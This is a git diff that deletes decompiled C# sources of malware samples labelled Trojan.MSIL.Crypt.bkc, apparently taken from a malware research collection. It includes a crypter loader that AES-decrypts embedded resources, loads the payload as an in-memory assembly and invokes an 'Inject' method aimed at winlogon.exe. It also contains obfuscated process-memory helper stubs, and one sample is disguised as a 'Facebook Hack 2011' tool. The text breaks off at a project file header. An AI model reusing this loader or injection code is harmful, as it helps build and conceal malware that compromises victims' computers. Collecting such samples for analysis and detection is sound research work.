pfaJQafJNpIonJSccw([In] object obj0) => ((BinaryReader) obj0).ReadInt32(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void dIDQKm2twYV6etykHj([In] IntPtr obj0, [In] int obj1) => Marshal.WriteInt32(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long KucsUt7QpLwMc4xOQa([In] object obj0) => ((Stream) obj0).Position; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int tH6uFbRWCcs1RpF0qY() => IntPtr.Size; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int JmMyCoQZC0x2UbHDxD([In] long obj0) => Convert.ToInt32(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object jSP5qnHxsE3naq1SKj() => (object) Encoding.UTF8; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object MX7NIVmGO0lOjl8Lmi([In] object obj0, [In] object obj1) => (object) ((Encoding) obj0).GetString((byte[]) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool libBYvy1ipJbV2XGC8([In] IntPtr obj0, [In] IntPtr obj1) => obj0 == obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object cNqqVl5fuM1unfSuQP([In] IntPtr obj0, [In] Type obj1) => (object) Marshal.GetDelegateForFunctionPointer(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static IntPtr twC9Jcn7R4JwSqN8BB([In] object obj0) => ((GeQKoeh9BTa5jMZgSa.OuMlCJsxbEl5Y5bhii) obj0)(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u00378PpaseDx4Xsw89pwN([In] IntPtr obj0) => Marshal.ReadInt32(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long SE93HMvQR47k3Q6UJF([In] IntPtr obj0) => Marshal.ReadInt64(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static IntPtr djEyqOVTsF3l1k0u38([In] object obj0) => Marshal.GetFunctionPointerForDelegate((Delegate) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object W8XtQRoQ98CC3C1yOf() => (object) Process.GetCurrentProcess(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object opO4tkOFpYoVc6VAKp([In] object obj0) => (object) ((Process) obj0).Modules; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0030ACXJcZ6vmkKQXVljZ([In] object obj0) => (object) ((ReadOnlyCollectionBase) obj0).GetEnumerator(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object OIyVWRxoM6V9XhwKJ0([In] object obj0) => ((IEnumerator) obj0).Current; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object TDDlpZjSFd90OVpNmM([In] object obj0) => (object) ((ProcessModule) obj0).ModuleName; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool w4C4UN3feRHlLUttV3([In] object obj0, [In] object obj1) => (string) obj0 == (string) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static IntPtr wbw0WCk7vdwUVwDrOM([In] object obj0) => ((ProcessModule) obj0).BaseAddress; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int Bjb6U7is3K5rUHHve9([In] object obj0) => ((ProcessModule) obj0).ModuleMemorySize; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object WcR2d1pZtDjjAhGKrL([In] object obj0) => (object) ((Assembly) obj0).EntryPoint; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool dK37CDWTVAdtxG382N([In] object obj0) => ((IEnumerator) obj0).MoveNext(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void V8K0MuBHcbcUCWpNQY([In] object obj0) => ((IDisposable) obj0).Dispose(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object oOOc9wKlsD9HcpTwZa([In] object obj0) => (object) ((Delegate) obj0).Method; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object PCsyCasfagul4qDNF9([In] Type obj0, [In] object obj1) => (object) Delegate.CreateDelegate(obj0, (MethodInfo) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object W5RU9FbmhtJ9QGthMs([In] object obj0) => (object) ((MethodBase) obj0).GetParameters(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void vDOITcM5CEcKc8CZ4R([In] IntPtr obj0, [In] IntPtr obj1) => Marshal.WriteIntPtr(obj0, obj1); - - internal static bool y0PBiB6B5OhOLbgxYY() => true; - - internal static bool vGlMBfqsjX0g1QweVr() => false; - - internal class EFOBHbnmVnA4a8uptj : Attribute - { - [GeQKoeh9BTa5jMZgSa.EFOBHbnmVnA4a8uptj(typeof (GeQKoeh9BTa5jMZgSa\u002FEFOBHbnmVnA4a8uptj\u002FtfZNHmAtyq5DVRM6ng[]))] - [MethodImpl(MethodImplOptions.NoInlining)] - public EFOBHbnmVnA4a8uptj([In] object obj0) - { - } - - static EFOBHbnmVnA4a8uptj() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - - internal class tfZNHmAtyq5DVRM6ng - { - [MethodImpl(MethodImplOptions.NoInlining)] - public tfZNHmAtyq5DVRM6ng() - { - } - - static tfZNHmAtyq5DVRM6ng() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - } - } - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - internal delegate uint COIHxETffF7HTvGLbQ( - [MarshalAs(UnmanagedType.U8)] ref ulong _param1, - [In] IntPtr obj1, - [In] IntPtr obj2, - [MarshalAs(UnmanagedType.U4)] uint _param4, - [In] ref IntPtr obj4, - [In] ref uint obj5); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - private delegate IntPtr OuMlCJsxbEl5Y5bhii(); - - [Flags] - private enum rwtYNeCJd4EKJPtu9i - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/AssemblyInfo.cs deleted file mode 100644 index f93c8bb9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/AssemblyInfo.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyApplication.cs deleted file mode 100644 index 07cb0734..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: BTCrypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 05F7BF95-3B6B-4870-9E92-274D6E31A439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyComputer.cs deleted file mode 100644 index 335366c0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: BTCrypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 05F7BF95-3B6B-4870-9E92-274D6E31A439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyProject.cs deleted file mode 100644 index b68aa0a4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: BTCrypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 05F7BF95-3B6B-4870-9E92-274D6E31A439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/Trojan.MSIL.Crypt.bkc.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/Trojan.MSIL.Crypt.bkc.csproj deleted file mode 100644 index e0b45dc3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/Trojan.MSIL.Crypt.bkc.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D} - WinExe - BTCrypt - 1.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/Trojan.MSIL.Crypt.bkc.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/Trojan.MSIL.Crypt.bkc.sln deleted file mode 100644 index dd59bae3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/Trojan.MSIL.Crypt.bkc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BTCrypt", "Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.csproj", "{653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/mdqBj.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/mdqBj.resx deleted file mode 100644 index 0bc2bfb1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/mdqBj.resx +++ /dev/null @@ -1,464 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 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XëFÿšÏD‰ÿ¤mMDâô†lz³%ÜzCsBÓñ¹0 ‹I�9ˆÎGht°à(ªZ\ÛX$Yør?šÛhZ°«ú°D:™cↀk¬¿ãéÕK:z°7‹?±™Ýæ¯ìýr08‚`Únz¼ú*'Òß“[¢¼/¿  ªü‘.p‡ ’ W[È P4€½"à®E¯ýeU‘“»+‰v÷Žó¸ - - - Class1 - - - Inject - - - \winlogon.exe - - - hgy988ghj - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/xZhtWpVtLXLJDVSoYj.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/xZhtWpVtLXLJDVSoYj.cs deleted file mode 100644 index e6b7ec82..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede/xZhtWpVtLXLJDVSoYj.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: xZhtWpVtLXLJDVSoYj -// Assembly: BTCrypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 05F7BF95-3B6B-4870-9E92-274D6E31A439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe - -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.IO; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Security.Cryptography; -using System.Text; - -[StandardModule] -internal sealed class xZhtWpVtLXLJDVSoYj -{ - private static int ByteCount = 0; - - [STAThread] - public static void Main() - { - xZhtWpVtLXLJDVSoYj.ftyu(); - ProjectData.EndApp(); - } - - public static void ftyu() => xZhtWpVtLXLJDVSoYj.pol(); - - public static void pol() - { - string location = Assembly.GetExecutingAssembly().Location; - string str = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + "\\MpUS.exe"; - ResourceManager resourceManager = new ResourceManager("mdqBj", Assembly.GetExecutingAssembly()); - string name = resourceManager.GetString("cLLyk"); - string zfnomrdWdIUTjnqhHW = "TuDQrMqPgHhsmFn"; - string bzGCNQfBCMVQtJcwPK = resourceManager.GetString("LuFLHSjyGIRojNPv"); - byte[] bytes1 = Encoding.Default.GetBytes(xZhtWpVtLXLJDVSoYj.bOBbxLZGYKOnbZTliF(resourceManager.GetString("CVdSxttswi"), "QBRVYPoR")); - Encoding.Default.GetBytes(xZhtWpVtLXLJDVSoYj.bOBbxLZGYKOnbZTliF(resourceManager.GetString("RxbqX"), "ewFu")); - byte[] bytes2 = Encoding.Default.GetBytes(xZhtWpVtLXLJDVSoYj.bOBbxLZGYKOnbZTliF(bzGCNQfBCMVQtJcwPK, zfnomrdWdIUTjnqhHW)); - RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Assembly.Load(bytes1).GetType(name).GetMethod(resourceManager.GetString("MJDV")).Invoke((object) null, new object[6] - { - (object) bytes2, - (object) true, - (object) location, - (object) true, - (object) false, - (object) false - }))); - } - - public static string bOBbxLZGYKOnbZTliF(string bzGCNQfBCMVQtJcwPK, string zfnomrdWdIUTjnqhHW) - { - string s1 = "jhsethsdutubgt"; - string s2 = "a48uyrhf094hy2dm"; - int iterations = 2; - string strHashName = "SHA1"; - int num = 256; - try - { - byte[] bytes1 = Encoding.Default.GetBytes(bzGCNQfBCMVQtJcwPK); - byte[] bytes2 = Encoding.ASCII.GetBytes(s2); - byte[] bytes3 = Encoding.ASCII.GetBytes(s1); - byte[] buffer = bytes1; - byte[] bytes4 = new PasswordDeriveBytes(zfnomrdWdIUTjnqhHW, bytes3, strHashName, iterations).GetBytes(checked ((int) Math.Round(unchecked ((double) num / 8.0)))); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[checked (buffer.Length + 1)]; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes4, bytes2)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - xZhtWpVtLXLJDVSoYj.ByteCount = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - rijndaelManaged.Clear(); - return Encoding.Default.GetString(numArray); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - throw; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/AssemblyInfo.cs deleted file mode 100644 index f93c8bb9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/AssemblyInfo.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyApplication.cs deleted file mode 100644 index 5b1f7c0f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Facebook Hack 2011, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D13C8782-171E-47C0-9C8D-3EC70A24B836 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyComputer.cs deleted file mode 100644 index 279859e6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Facebook Hack 2011, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D13C8782-171E-47C0-9C8D-3EC70A24B836 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyProject.cs deleted file mode 100644 index 3dfdf5bd..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Facebook Hack 2011, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D13C8782-171E-47C0-9C8D-3EC70A24B836 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6/Trojan.MSIL.Crypt.bkc.csproj 